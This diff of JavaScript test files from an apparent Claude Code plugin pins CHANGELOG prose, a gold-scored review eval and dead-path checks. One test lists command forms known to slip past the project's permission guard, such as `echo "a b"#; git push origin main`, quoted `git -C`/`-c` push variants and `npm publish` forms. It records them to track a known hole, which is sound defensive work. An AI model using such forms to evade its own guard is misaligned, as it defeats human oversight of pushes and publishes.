||||
const r = spawnSync(process.execPath, [join(ROOT, 'tests', 'helpers', 'red-mutate.mjs'), 'list', MUTATIONS],
|
||||
{ cwd: ROOT, encoding: 'utf8', timeout: 30000, env: childEnv() });
|
||||
assert.equal(r.status, 0, `red-mutate.mjs list ${MUTATIONS} exited ${r.status}:\n${r.stdout}${r.stderr}`);
|
||||
const lines = (r.stdout || '').split('\n').filter((l) => l !== '');
|
||||
assert.deepEqual(lines, ['RXT-try RXT', 'CNT-regex CNT', 'HDR-header HDR'],
|
||||
`red-mutate.mjs list ${MUTATIONS} does not print exactly the three part-A mutations:\n${r.stdout}${r.stderr}`);
|
||||
});
|
||||
|
|
@ -1,193 +0,0 @@
|
|||
// tests/lib/fix-round-4-5b2-c-prose.test.mjs
|
||||
// Prose pins for fix round 4.5b2, part C (plan
|
||||
// .claude/plans/trekplan-2026-11-03-review-gate-4-5b2-fixes.md, Step 7): the
|
||||
// round's CHANGELOG entry. The tag in brackets is the part-C id from the
|
||||
// round's plan; each tagged test fails on an assertion at the round's red base
|
||||
// f1f5ab5, where the CHANGELOG holds no part C entry.
|
||||
// PRC the CHANGELOG lists part C: under ### Fixed one group names each of
|
||||
// the eight behaviour tags exactly once, one bullet per tag, each
|
||||
// ending with the review finding it fixes; ### Doors holds the part C
|
||||
// two-way line; ### Known issues holds one decision-137 bullet that
|
||||
// names the guard's quoted-value hole with each of the eight commands
|
||||
// measured in the plan's Context, "decision 137" and "its own round".
|
||||
// No bullet of this round may hold a string an earlier prose test counts.
|
||||
// The helpers below are copied, never imported from an earlier prose test.
|
||||
// Fix the SOURCE a pin guards, not the pin.
|
||||
|
||||
import { test } from 'node:test';
|
||||
import { strict as assert } from 'node:assert';
|
||||
import { existsSync, readFileSync } from 'node:fs';
|
||||
import { dirname, join } from 'node:path';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
|
||||
const ROOT = join(dirname(fileURLToPath(import.meta.url)), '..', '..');
|
||||
|
||||
/** A repo file's text; the file must exist. */
|
||||
function read(rel) {
|
||||
assert.ok(existsSync(join(ROOT, rel)), `missing file ${rel}`);
|
||||
return readFileSync(join(ROOT, rel), 'utf8');
|
||||
}
|
||||
|
||||
/** Whitespace (line breaks too) collapsed to one space. */
|
||||
// Copied from tests/lib/fix-round-4-5b2-b-prose.test.mjs (flat).
|
||||
const flat = (s) => s.replace(/\s+/g, ' ').trim();
|
||||
|
||||
// Part C stands in the same Unreleased section as the earlier parts. The
|
||||
// section is found by its title: `## Unreleased — <title>` before the release,
|
||||
// `## vX.Y.Z — <date> — <title>` after it, exactly once, up to the next `## `.
|
||||
const CHANGELOG_TITLE = "The annotating skill, the run coupling and P10's model-free part";
|
||||
const CHANGELOG_HEADING = new RegExp(`^## (?:Unreleased|v\\d+\\.\\d+\\.\\d+ — \\d{4}-\\d{2}-\\d{2}) — ${CHANGELOG_TITLE.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')}$`);
|
||||
|
||||
/** The lines of the round's CHANGELOG section, heading excluded. */
|
||||
// Copied from tests/lib/fix-round-4-5b2-b-prose.test.mjs (changelogSection).
|
||||
function changelogSection() {
|
||||
const lines = read('CHANGELOG.md').split('\n');
|
||||
const at = [];
|
||||
lines.forEach((l, i) => { if (CHANGELOG_HEADING.test(l.replace(/\s+$/, ''))) at.push(i); });
|
||||
assert.equal(at.length, 1, `CHANGELOG.md must hold the "${CHANGELOG_TITLE}" section exactly once (found ${at.length})`);
|
||||
let end = lines.length;
|
||||
for (let i = at[0] + 1; i < lines.length; i++) if (/^## /.test(lines[i])) { end = i; break; }
|
||||
return lines.slice(at[0] + 1, end);
|
||||
}
|
||||
|
||||
/** The lines of one `### ` subsection of the round's CHANGELOG section, heading excluded. */
|
||||
function subsection(heading) {
|
||||
const lines = changelogSection();
|
||||
const s = lines.findIndex((l) => l.replace(/\s+$/, '') === heading);
|
||||
assert.ok(s !== -1, `the "${CHANGELOG_TITLE}" section of CHANGELOG.md must have "${heading}"`);
|
||||
let end = lines.length;
|
||||
for (let i = s + 1; i < lines.length; i++) if (/^### /.test(lines[i])) { end = i; break; }
|
||||
return lines.slice(s + 1, end);
|
||||
}
|
||||
|
||||
/** The bullets of one `### ` subsection of the round's CHANGELOG section, each flattened to one line. */
|
||||
// Copied from tests/lib/fix-round-4-5b2-b-prose.test.mjs (changelogBullets).
|
||||
function changelogBullets(heading) {
|
||||
const out = [];
|
||||
for (const l of subsection(heading)) {
|
||||
if (/^- /.test(l)) out.push(l);
|
||||
else if (out.length && l.trim() !== '' && /^\s/.test(l)) out[out.length - 1] += ` ${l}`;
|
||||
else if (l.trim() !== '') out.push('');
|
||||
}
|
||||
return out.filter((b) => b !== '').map(flat);
|
||||
}
|
||||
|
||||
const PRC_GROUP = '**Fix round 4.5b2, part C (decisions 135 and 137)**';
|
||||
// The round's behaviour tags with the review finding each fixes (first 8 hex of
|
||||
// the finding id, written out here from the plan's Context table). PRC itself,
|
||||
// the CHANGELOG step's own tag, is in no count.
|
||||
const PRC_FINDINGS = [
|
||||
['DUP', 'e57259bf'],
|
||||
['RSP', 'de594275'],
|
||||
['NRL', 'fd5a6e18'],
|
||||
['SYM', 'd81f3c45'],
|
||||
['WHD', '561d6f11'],
|
||||
['AMB', 'df9f9870'],
|
||||
['CLU', 'b5ae9798'],
|
||||
['MMG', '73e1d174'],
|
||||
];
|
||||
// Strings the earlier prose tests count in this section: none may stand in a
|
||||
// bullet of this round.
|
||||
const COUNTED = ['decision 88', 'decision 89', 'decision 90', 'decision 91', 'decision 107', 'decision 122',
|
||||
'decision 123', 'decision 124', "'90s", "bash -c $'", "<<$'\\t'", 'VOYAGE_ARGS_EOF_7F3C9E', '6.5.0',
|
||||
'`review_version` 1.2', 'ref the session can move', 'unchanged caller',
|
||||
'(TOK)', '(HDG)', '(CKI)', '(DLC)', '(CQW)', '(PQO)', '(CSG)', '(SLT)', '(ESC)', '(CTB)',
|
||||
'(RXT)', '(CNT)', '(SFX)', '(ESR)', '(EVL)', '(SIS)', '(HDR)',
|
||||
'(ANS)', '(RLS)', '(RAP)', '(V12)', '(PRX)', '(RND)', '(CAP)', '(CRY)', '(FXL)', '(POL)', '(ENG)', '(CMD)',
|
||||
'(DPR)', '(CAT)', '(MEV)', '(RMP)', '(PXB)', '(FN1)'];
|
||||
// The eight commands the plan's Context measured as giving no question (decision
|
||||
// 137): seven from critic rounds 1-2 and the risk assessor's Phase 8 form.
|
||||
const MEASURED = [
|
||||
'`git tag -m "Release one" v1.0`',
|
||||
'`git -C "/tmp/a b" push origin main`',
|
||||
'`git -c "x.y=a b" push origin main`',
|
||||
'`echo "a b"#; git push origin main`',
|
||||
"`git tag -m '' v1.0`",
|
||||
'`git -C ~/"My Repos"/x merge --no-ff feat`',
|
||||
'`npm --workspace "$WS" publish`',
|
||||
'`git -C "<path with a space>" merge --no-ff feat`',
|
||||
];
|
||||
const DOOR = "- two-way: fix round 4.5b2 part C (decisions 135, 137) — a revert restores part B's behaviour.";
|
||||
|
||||
/** Part C's group under `### Fixed`: its intro text and its bullets, each flattened. */
|
||||
function fixedGroup() {
|
||||
const body = subsection('### Fixed');
|
||||
const at = body.filter((l) => l.replace(/\s+$/, '') === PRC_GROUP).length;
|
||||
assert.equal(at, 1, `### Fixed must hold the group ${PRC_GROUP} exactly once (found ${at})`);
|
||||
const start = body.findIndex((l) => l.replace(/\s+$/, '') === PRC_GROUP);
|
||||
const intro = [];
|
||||
const bullets = [];
|
||||
for (const l of body.slice(start + 1)) {
|
||||
if (/^\*\*[^*].*\*\*\s*$/.test(l)) break;
|
||||
if (/^- /.test(l)) bullets.push(l);
|
||||
else if (bullets.length && l.trim() !== '' && /^\s/.test(l)) bullets[bullets.length - 1] += ` ${l}`;
|
||||
else if (!bullets.length && l.trim() !== '') intro.push(l);
|
||||
else if (bullets.length && l.trim() !== '') break;
|
||||
}
|
||||
return { intro: flat(intro.join(' ')), bullets: bullets.map(flat) };
|
||||
}
|
||||
|
||||
/** How often `needle` stands in `text`. */
|
||||
const occurrences = (text, needle) => text.split(needle).length - 1;
|
||||
|
||||
test('[PRC] the part C group names each of the eight behaviour tags exactly once', () => {
|
||||
const { intro, bullets } = fixedGroup();
|
||||
assert.ok(intro.includes('`f1f5ab5`'), `the group's intro names the red base f1f5ab5: ${intro}`);
|
||||
assert.ok(intro.includes('`tests/fix-round-4-5b2-c-red.sh`'), `the group's intro names tests/fix-round-4-5b2-c-red.sh: ${intro}`);
|
||||
assert.equal(PRC_FINDINGS.length, 8, 'Control: eight behaviour tags');
|
||||
const text = [intro, ...bullets].join('\n');
|
||||
for (const [tag] of PRC_FINDINGS) {
|
||||
assert.equal(occurrences(text, `(${tag})`), 1, `the group must name (${tag}) exactly once; found ${occurrences(text, `(${tag})`)}`);
|
||||
assert.equal(bullets.filter((b) => b.includes(`(${tag})`)).length, 1, `exactly one bullet of the group is marked (${tag})`);
|
||||
}
|
||||
assert.equal(bullets.length, PRC_FINDINGS.length, `the group holds one bullet per tag: found ${bullets.length} bullets`);
|
||||
assert.equal(occurrences(text, '(PRC)'), 0, 'the group does not name PRC, the CHANGELOG step\'s own tag');
|
||||
for (const b of bullets) {
|
||||
assert.match(b, /^- \*\*.+?\*\* \([A-Z0-9]{3}\)\./, `each bullet opens with a bold headline and its tag: ${b}`);
|
||||
for (const s of COUNTED) assert.ok(!b.includes(s), `no bullet of the group may hold ${JSON.stringify(s)}: ${b}`);
|
||||
}
|
||||
});
|
||||
|
||||
test('[PRC] each part C bullet names its review finding', () => {
|
||||
const { bullets } = fixedGroup();
|
||||
for (const [tag, id] of PRC_FINDINGS) {
|
||||
const hits = bullets.filter((b) => b.includes(`(${tag})`));
|
||||
assert.equal(hits.length, 1, `exactly one bullet of the group is marked (${tag}); found ${hits.length}`);
|
||||
assert.ok(hits[0].endsWith(`It names review finding \`${id}\`.`),
|
||||
`the (${tag}) bullet must end "It names review finding \`${id}\`.": ${hits[0]}`);
|
||||
assert.equal(bullets.filter((b) => b.includes(id)).length, 1, `review finding ${id} stands in exactly one bullet of the group`);
|
||||
}
|
||||
// The CLU bullet says its quoted -m half stays "no run evidence" (decision 137).
|
||||
const clu = bullets.filter((b) => b.includes('(CLU)'))[0];
|
||||
assert.ok(clu.includes('`-m`'), `the (CLU) bullet names the quoted \`-m\` value: ${clu}`);
|
||||
assert.ok(clu.includes('no run evidence'), `the (CLU) bullet says the quoted -m half stays "no run evidence": ${clu}`);
|
||||
assert.ok(clu.includes('decision 137'), `the (CLU) bullet names decision 137: ${clu}`);
|
||||
// Control: no fixed finding is listed as open.
|
||||
const known = changelogBullets('### Known issues');
|
||||
for (const [, id] of PRC_FINDINGS) {
|
||||
assert.deepEqual(known.filter((b) => b.includes(id)), [], `Control: the fixed finding ${id} must not stand under ### Known issues`);
|
||||
}
|
||||
});
|
||||
|
||||
test('[PRC] the Doors section has the part C two-way line', () => {
|
||||
const doors = changelogBullets('### Doors');
|
||||
const hits = doors.filter((b) => b.startsWith('- two-way: fix round 4.5b2 part C'));
|
||||
assert.deepEqual(hits, [DOOR], `### Doors must hold exactly the one part C line ${DOOR}`);
|
||||
for (const s of COUNTED) assert.ok(!hits[0].includes(s), `the door must not hold ${JSON.stringify(s)}, a string an earlier prose test counts`);
|
||||
// Control: every door bullet of the section is a door line.
|
||||
for (const b of doors) assert.match(b, /^- (one-way|two-way): \S/, `Control: every ### Doors bullet is a door line: ${b}`);
|
||||
});
|
||||
|
||||
test('[PRC] the known issues hold one decision-137 guard bullet with each of the eight measured commands, "decision 137" and "its own round"', () => {
|
||||
const known = changelogBullets('### Known issues');
|
||||
const hits = known.filter((b) => b.includes('(part C, decision 137)'));
|
||||
assert.equal(hits.length, 1, `### Known issues must hold exactly one bullet marked (part C, decision 137); found ${hits.length}`);
|
||||
const b = hits[0];
|
||||
assert.equal(MEASURED.length, 8, 'Control: eight measured commands');
|
||||
for (const cmd of MEASURED) {
|
||||
assert.ok(b.includes(cmd), `the decision-137 bullet must name the measured command ${cmd}: ${b}`);
|
||||
}
|
||||
assert.ok(b.includes('decision 137'), `the decision-137 bullet must hold "decision 137": ${b}`);
|
||||
assert.ok(b.includes('its own round'), `the decision-137 bullet must hold "its own round": ${b}`);
|
||||
for (const s of COUNTED) assert.ok(!b.includes(s), `the decision-137 bullet must not hold ${JSON.stringify(s)}: ${b}`);
|
||||
});
|
||||
|
|
@ -1,68 +0,0 @@
|
|||
// tests/lib/gold-corpus.test.mjs
|
||||
// SKAL-1·4a — golden corpus loader/validator.
|
||||
//
|
||||
// gold.json is the machine-readable form of the 5 seeded findings in
|
||||
// tests/fixtures/bakeoff-rich/README.md. This test pins its shape and ties
|
||||
// every rule_key / severity back to the canonical catalogue so the corpus
|
||||
// can never drift to an invented rule_key or severity tier.
|
||||
|
||||
import { test } from 'node:test';
|
||||
import { strict as assert } from 'node:assert';
|
||||
import { readFileSync } from 'node:fs';
|
||||
import { join, dirname } from 'node:path';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
import { RULE_KEYS, SEVERITY_VALUES } from '../../lib/review/rule-catalogue.mjs';
|
||||
import { FINDING_REQUIRED_FIELDS } from '../../lib/review/findings-schema.mjs';
|
||||
|
||||
const HERE = dirname(fileURLToPath(import.meta.url));
|
||||
const ROOT = join(HERE, '..', '..');
|
||||
const GOLD = join(ROOT, 'tests/fixtures/bakeoff-rich/gold.json');
|
||||
|
||||
const gold = JSON.parse(readFileSync(GOLD, 'utf-8'));
|
||||
|
||||
test('gold.json — parses and has exactly 5 findings', () => {
|
||||
assert.ok(Array.isArray(gold.findings), 'findings must be an array');
|
||||
assert.equal(gold.findings.length, 5);
|
||||
});
|
||||
|
||||
test('gold.json — corpus-level expected_verdict is BLOCK', () => {
|
||||
assert.equal(gold.expected_verdict, 'BLOCK');
|
||||
});
|
||||
|
||||
test('gold.json — every finding carries the 5 required fields', () => {
|
||||
// FINDING_REQUIRED_FIELDS (severity, rule_key, file, line) + the eval addition owner_reviewer.
|
||||
const required = [...FINDING_REQUIRED_FIELDS, 'owner_reviewer'];
|
||||
for (const [i, f] of gold.findings.entries()) {
|
||||
for (const field of required) {
|
||||
assert.ok(field in f, `findings[${i}] missing required field "${field}"`);
|
||||
}
|
||||
assert.ok(typeof f.file === 'string' && f.file.length > 0, `findings[${i}].file empty`);
|
||||
assert.ok(Number.isInteger(f.line) && f.line >= 0, `findings[${i}].line must be an int >= 0`);
|
||||
}
|
||||
});
|
||||
|
||||
test('gold.json — every rule_key is a member of the canonical RULE_CATALOGUE', () => {
|
||||
for (const [i, f] of gold.findings.entries()) {
|
||||
assert.ok(RULE_KEYS.has(f.rule_key), `findings[${i}].rule_key "${f.rule_key}" not in catalogue`);
|
||||
}
|
||||
});
|
||||
|
||||
test('gold.json — every severity is a valid catalogue tier', () => {
|
||||
for (const [i, f] of gold.findings.entries()) {
|
||||
assert.ok(SEVERITY_VALUES.includes(f.severity), `findings[${i}].severity "${f.severity}" invalid`);
|
||||
}
|
||||
});
|
||||
|
||||
test('gold.json — owner_reviewer is one of the two reviewer roles', () => {
|
||||
for (const [i, f] of gold.findings.entries()) {
|
||||
assert.ok(
|
||||
f.owner_reviewer === 'conformance' || f.owner_reviewer === 'correctness',
|
||||
`findings[${i}].owner_reviewer "${f.owner_reviewer}" must be conformance|correctness`,
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
test('gold.json — contains at least one BLOCKER (consistent with expected_verdict BLOCK)', () => {
|
||||
const hasBlocker = gold.findings.some((f) => f.severity === 'BLOCKER');
|
||||
assert.ok(hasBlocker, 'expected_verdict is BLOCK but no BLOCKER finding present');
|
||||
});
|
||||
|
|
@ -1,49 +0,0 @@
|
|||
// tests/lib/gold-eval.test.mjs
|
||||
// SKAL-1·4b — the offline gold-scored output eval (the scoring RUN).
|
||||
//
|
||||
// This is the third test-census category (see lib/util/test-census.mjs):
|
||||
// neither a behavior unit test nor a doc-consistency pin, but a SCORING RUN —
|
||||
// it feeds a committed agent-run fixture through the deterministic coordinator
|
||||
// contract (4a) and scores the result against the golden corpus at
|
||||
// (file, rule_key) granularity. Offline: committed reviewer payloads, no live
|
||||
// agent spawn, no LLM, no network. The all-agree foundation; the
|
||||
// LLM-in-the-loop eval is the separate 4c tier.
|
||||
|
||||
import { test } from 'node:test';
|
||||
import { strict as assert } from 'node:assert';
|
||||
import { readFileSync } from 'node:fs';
|
||||
import { join, dirname } from 'node:path';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
import { runContract } from '../../lib/review/coordinator-contract.mjs';
|
||||
import { scoreFindings, scoreVerdict } from '../../lib/review/gold-scorer.mjs';
|
||||
|
||||
const HERE = dirname(fileURLToPath(import.meta.url));
|
||||
const ROOT = join(HERE, '..', '..');
|
||||
const gold = JSON.parse(readFileSync(join(ROOT, 'tests/fixtures/bakeoff-rich/gold.json'), 'utf-8'));
|
||||
const runPerfect = JSON.parse(
|
||||
readFileSync(join(ROOT, 'tests/fixtures/bakeoff-rich/runs/run-perfect.json'), 'utf-8'),
|
||||
);
|
||||
|
||||
test('gold-eval — run-perfect reproduces gold at (file,rule_key): precision/recall/f1 = 1.0', () => {
|
||||
const result = runContract(runPerfect);
|
||||
const score = scoreFindings(result.findings, gold.findings);
|
||||
assert.equal(score.precision, 1, `precision ${score.precision}; spurious=${JSON.stringify(score.spurious)}`);
|
||||
assert.equal(score.recall, 1, `recall ${score.recall}; missed=${JSON.stringify(score.missed)}`);
|
||||
assert.equal(score.f1, 1);
|
||||
assert.equal(score.tp, gold.findings.length);
|
||||
});
|
||||
|
||||
test('gold-eval — run-perfect coordinator verdict matches gold expected_verdict (BLOCK)', () => {
|
||||
const result = runContract(runPerfect);
|
||||
assert.equal(result.verdict, gold.expected_verdict);
|
||||
assert.ok(scoreVerdict(result.verdict, gold.expected_verdict));
|
||||
});
|
||||
|
||||
test('gold-eval — run-perfect drops nothing (no suppressed, no schema-skipped payloads)', () => {
|
||||
// A clean run is the regression guard: any future contract change that
|
||||
// silently suppresses or skips one of the 5 seeded findings breaks here.
|
||||
const result = runContract(runPerfect);
|
||||
assert.equal(result.skipped.length, 0, `skipped payloads: ${JSON.stringify(result.skipped)}`);
|
||||
assert.equal(result.suppressed.length, 0, `suppressed findings: ${result.suppressed.length}`);
|
||||
assert.equal(result.findings.length, gold.findings.length);
|
||||
});
|
||||
|
|
@ -1,6 +1,5 @@
|
|||
// tests/lib/guards-prose-pins.test.mjs
|
||||
// Prose pins owned by the guards process (wave-1 order 4). Counted as doc pins
|
||||
// by lib/util/test-census.mjs (PIN_FILE_RE matches `prose-pins.test.mjs`).
|
||||
// Prose pins owned by the guards process (wave-1 order 4).
|
||||
//
|
||||
// The mod precondition: a Claude Code mod that handles `tool.check` answers
|
||||
// AFTER the rules and the PreToolUse hooks, and «its answer can replace
|
||||
|
|
|
|||
174
tests/lib/living-paths.test.mjs
Normal file
174
tests/lib/living-paths.test.mjs
Normal file
|
|
@ -0,0 +1,174 @@
|
|||
// tests/lib/living-paths.test.mjs
|
||||
// Living tracked text names only plugin paths that exist. When a file is
|
||||
// removed, every command, agent, skill, template and doc that still names it
|
||||
// turns this test red, so a removal cannot leave a dead pointer behind.
|
||||
//
|
||||
// Scope: tracked *.md under agents/ commands/ skills/ templates/ docs/ and the
|
||||
// root README.md, CLAUDE.md, CONTRIBUTING.md and SECURITY.md. Out of scope:
|
||||
// CHANGELOG.md (history), *.local.* files (never tracked), and tests/,
|
||||
// examples/ and evals/, whose text describes target repositories.
|
||||
//
|
||||
// A reference is (a) a whole backtick span that starts with a top-level plugin
|
||||
// directory, with an optional ${CLAUDE_PLUGIN_ROOT}/ prefix and an optional
|
||||
// :line suffix; (b) a ${CLAUDE_PLUGIN_ROOT}/<path> token anywhere; (c) a
|
||||
// relative markdown link target. Spans with placeholder characters and spans
|
||||
// on a credit line (an @<sha> or MIT on the line or the two lines above) are
|
||||
// skipped: they name files in other repositories.
|
||||
//
|
||||
// When this test fails, fix the pointer or remove it; add an EXEMPT entry only
|
||||
// for a path that is meant to be absent here, with the reason.
|
||||
|
||||
import { test } from 'node:test';
|
||||
import { strict as assert } from 'node:assert';
|
||||
import { execFileSync } from 'node:child_process';
|
||||
import { existsSync, mkdtempSync, mkdirSync, writeFileSync, readFileSync, rmSync } from 'node:fs';
|
||||
import { join, dirname, normalize } from 'node:path';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
|
||||
const HERE = dirname(fileURLToPath(import.meta.url));
|
||||
const ROOT = join(HERE, '..', '..');
|
||||
|
||||
const TOP = '(?:agents|commands|docs|examples|hooks|lib|scripts|skills|templates|tests|evals)';
|
||||
const PATH = `${TOP}/[A-Za-z0-9._/-]*[A-Za-z0-9_/-]`;
|
||||
const LINES = '(?::\\d+(?:[-–]\\d+)?(?:, ?\\d+(?:[-–]\\d+)?)*)?';
|
||||
const SPAN_RE = new RegExp(`^(?:\\$\\{CLAUDE_PLUGIN_ROOT\\}/)?(${PATH})${LINES}$`);
|
||||
const ROOT_TOKEN_RE = new RegExp(`\\$\\{CLAUDE_PLUGIN_ROOT\\}/(${PATH})`, 'g');
|
||||
const CREDIT_RE = /@[0-9a-f]{7,40}\b|\bMIT\b/;
|
||||
const PLACEHOLDER_RE = /[<>{}*$…]|\.\.\./;
|
||||
|
||||
const SCOPE_DIRS = ['agents/', 'commands/', 'skills/', 'templates/', 'docs/'];
|
||||
const SCOPE_ROOT = new Set(['README.md', 'CLAUDE.md', 'CONTRIBUTING.md', 'SECURITY.md']);
|
||||
|
||||
// Living tracked text in scope (see the header).
|
||||
export function inScope(rel) {
|
||||
if (!rel.endsWith('.md') || /\.local\./.test(rel)) return false;
|
||||
if (rel === 'CHANGELOG.md') return false;
|
||||
return SCOPE_ROOT.has(rel) || SCOPE_DIRS.some(d => rel.startsWith(d));
|
||||
}
|
||||
|
||||
// Every plugin path a text names, as { line, path } with path relative to the
|
||||
// repository root. `rel` is the text's own path, for relative links.
|
||||
export function extractPaths(text, rel) {
|
||||
const out = [];
|
||||
const lines = text.split('\n');
|
||||
lines.forEach((line, i) => {
|
||||
const context = lines.slice(Math.max(0, i - 2), i + 1).join('\n');
|
||||
if (CREDIT_RE.test(context)) return;
|
||||
const seen = new Set();
|
||||
const add = p => { if (!seen.has(p)) { seen.add(p); out.push({ line: i + 1, path: p }); } };
|
||||
for (const m of line.matchAll(/`([^`\n]+)`/g)) {
|
||||
const span = m[1].trim();
|
||||
const hit = SPAN_RE.exec(span);
|
||||
if (hit && !PLACEHOLDER_RE.test(hit[1])) add(hit[1]);
|
||||
}
|
||||
for (const m of line.matchAll(ROOT_TOKEN_RE)) {
|
||||
if (!PLACEHOLDER_RE.test(m[1])) add(m[1]);
|
||||
}
|
||||
for (const m of line.matchAll(/\]\(([^)\s]+)\)/g)) {
|
||||
const target = m[1].split('#')[0];
|
||||
if (!target || /^[a-z][a-z0-9+.-]*:/i.test(target) || target.startsWith('/')) continue;
|
||||
if (PLACEHOLDER_RE.test(target)) continue;
|
||||
const resolved = normalize(join(dirname(rel), target)).replace(/\\/g, '/');
|
||||
if (resolved.startsWith('..')) continue;
|
||||
add(resolved.replace(/\/$/, ''));
|
||||
}
|
||||
});
|
||||
return out;
|
||||
}
|
||||
|
||||
// "file:line path" for every named path that does not exist under root.
|
||||
export function deadPaths(root, files) {
|
||||
const dead = [];
|
||||
for (const rel of files) {
|
||||
const text = readFileSync(join(root, rel), 'utf-8');
|
||||
for (const { line, path } of extractPaths(text, rel)) {
|
||||
if (!existsSync(join(root, path))) dead.push(`${rel}:${line} ${path}`);
|
||||
}
|
||||
}
|
||||
return dead;
|
||||
}
|
||||
|
||||
function trackedFiles(root) {
|
||||
const out = execFileSync('git', ['ls-files', '-z'], { cwd: root, encoding: 'utf-8' });
|
||||
return out.split('\0').filter(Boolean);
|
||||
}
|
||||
|
||||
// Named exceptions: "file path" -> reason. Each must still be dead (a stale
|
||||
// exemption fails below).
|
||||
const TARGET = 'target-repo example';
|
||||
const RB = 'removed in R-b';
|
||||
const EXEMPT = new Map([
|
||||
['commands/trekplan.md tests/e2e.sh', TARGET],
|
||||
['docs/HANDOVER-CONTRACTS.md docs/specs/api.md', TARGET],
|
||||
['templates/trekreview-template.md lib/foo.mjs', TARGET],
|
||||
['docs/release-runbook.md scripts/release-plugin.mjs', "the catalog repo's script"],
|
||||
['docs/T1-cc26-delegated-orchestration.md scripts/q3-cache-prefix-experiment.mjs', RB],
|
||||
['docs/T1-cc26-delegated-orchestration.md docs/cc-upgrade-2.1.181-decision-matrix.md', RB],
|
||||
['docs/T1-cc26-delegated-orchestration.md docs/subagent-delegation-audit.md', RB],
|
||||
['docs/T1-cc26-delegated-orchestration.md agents/planning-orchestrator.md', RB],
|
||||
['docs/T1-cc26-delegated-orchestration.md docs/T1-synthesis-poc-results.md', RB],
|
||||
['docs/T1-cc26-delegated-orchestration.md agents/synthesis-agent.md', RB],
|
||||
['docs/deep-research-engine-research.md docs/cc-upgrade-2.1.181-decision-matrix.md', RB],
|
||||
]);
|
||||
|
||||
const exemptKey = hit => hit.replace(/:\d+ /, ' ');
|
||||
|
||||
test('extractPaths reads spans, plugin-root tokens and relative links (known-positive)', () => {
|
||||
const text = [
|
||||
'See `lib/util/present.mjs:12-14` and `lib/util/missing.mjs`.',
|
||||
'Run node ${CLAUDE_PLUGIN_ROOT}/scripts/gone.mjs --json.',
|
||||
'Read [the doc](../docs/away.md#part) or [site](https://example.com).',
|
||||
'Placeholder `tests/<name>.sh` and glob `tests/**/*.test.mjs` are skipped.',
|
||||
'Credit: someone/repo @c55ee46, `skills/other/SKILL.md`, MIT.',
|
||||
].join('\n');
|
||||
const got = extractPaths(text, 'commands/x.md').map(h => `${h.line} ${h.path}`);
|
||||
assert.deepEqual(got, [
|
||||
'1 lib/util/present.mjs',
|
||||
'1 lib/util/missing.mjs',
|
||||
'2 scripts/gone.mjs',
|
||||
'3 docs/away.md',
|
||||
]);
|
||||
});
|
||||
|
||||
test('deadPaths reports only the missing paths (known-positive)', () => {
|
||||
const dir = mkdtempSync(join(tmpdir(), 'living-paths-'));
|
||||
try {
|
||||
mkdirSync(join(dir, 'lib'), { recursive: true });
|
||||
mkdirSync(join(dir, 'docs'), { recursive: true });
|
||||
writeFileSync(join(dir, 'lib', 'present.mjs'), '\n');
|
||||
writeFileSync(join(dir, 'docs', 'a.md'), 'Uses `lib/present.mjs` and `lib/absent.mjs`.\n');
|
||||
assert.deepEqual(deadPaths(dir, ['docs/a.md']), ['docs/a.md:1 lib/absent.mjs']);
|
||||
} finally {
|
||||
rmSync(dir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('scope keeps living docs and drops history and target-repo text', () => {
|
||||
assert.ok(inScope('commands/trekplan.md'));
|
||||
assert.ok(inScope('docs/architecture.md'));
|
||||
assert.ok(inScope('README.md'));
|
||||
assert.ok(!inScope('CHANGELOG.md'));
|
||||
assert.ok(!inScope('docs/notes.local.md'));
|
||||
assert.ok(!inScope('tests/fixtures/x.md'));
|
||||
assert.ok(!inScope('examples/02-real-cli/brief.md'));
|
||||
assert.ok(!inScope('lib/util/frontmatter.mjs'));
|
||||
});
|
||||
|
||||
test('living tracked text names only paths that exist', () => {
|
||||
const files = trackedFiles(ROOT);
|
||||
assert.ok(files.length > 100, `git ls-files returned ${files.length} files; refusing to pass on an empty scan`);
|
||||
const hits = deadPaths(ROOT, files.filter(inScope)).filter(h => !EXEMPT.has(exemptKey(h)));
|
||||
assert.deepEqual(hits, [], `${hits.length} dead path reference(s):\n${hits.join('\n')}`);
|
||||
});
|
||||
|
||||
test('every EXEMPT entry is still a dead reference in a tracked file', () => {
|
||||
const tracked = new Set(trackedFiles(ROOT));
|
||||
for (const key of EXEMPT.keys()) {
|
||||
const [rel, path] = key.split(' ');
|
||||
assert.ok(tracked.has(rel), `EXEMPT names untracked ${rel}`);
|
||||
const dead = deadPaths(ROOT, [rel]).map(exemptKey);
|
||||
assert.ok(dead.includes(key), `EXEMPT entry "${key}" is no longer dead; remove it`);
|
||||
assert.ok(!existsSync(join(ROOT, path)), `EXEMPT path ${path} exists`);
|
||||
}
|
||||
});
|
||||
|
|
@ -1,42 +0,0 @@
|
|||
// tests/lib/main-merge-gate.test.mjs
|
||||
// Step 12 (plan-v2) — pin that commands/trekexecute.md Phase 8
|
||||
// names the main-merge-gate lifecycle event, the decline + recovery
|
||||
// surface, and the always-on gate prose.
|
||||
|
||||
import { test } from 'node:test';
|
||||
import { strict as assert } from 'node:assert';
|
||||
import { readFileSync } from 'node:fs';
|
||||
import { dirname, join } from 'node:path';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
|
||||
const HERE = dirname(fileURLToPath(import.meta.url));
|
||||
const ROOT = join(HERE, '..', '..');
|
||||
const CMD = readFileSync(join(ROOT, 'commands/trekexecute.md'), 'utf-8');
|
||||
|
||||
test('Phase 8 names the main-merge-gate lifecycle event', () => {
|
||||
assert.ok(
|
||||
CMD.includes('main-merge-gate'),
|
||||
'commands/trekexecute.md should emit `main-merge-gate` from Phase 8',
|
||||
);
|
||||
});
|
||||
|
||||
test('Phase 8 documents both approved + declined event branches', () => {
|
||||
assert.ok(CMD.includes('main-merge-approved'), 'should emit main-merge-approved on confirm');
|
||||
assert.ok(CMD.includes('main-merge-declined'), 'should emit main-merge-declined on decline');
|
||||
});
|
||||
|
||||
test('Phase 8 documents the --resume recovery surface for the main-merge gate', () => {
|
||||
assert.ok(
|
||||
CMD.includes('--resume re-enters'),
|
||||
'Phase 8 should document that `--resume re-enters at the gate` after a decline',
|
||||
);
|
||||
});
|
||||
|
||||
test('Phase 8 main-merge gate is always-on (regardless of gates_mode)', () => {
|
||||
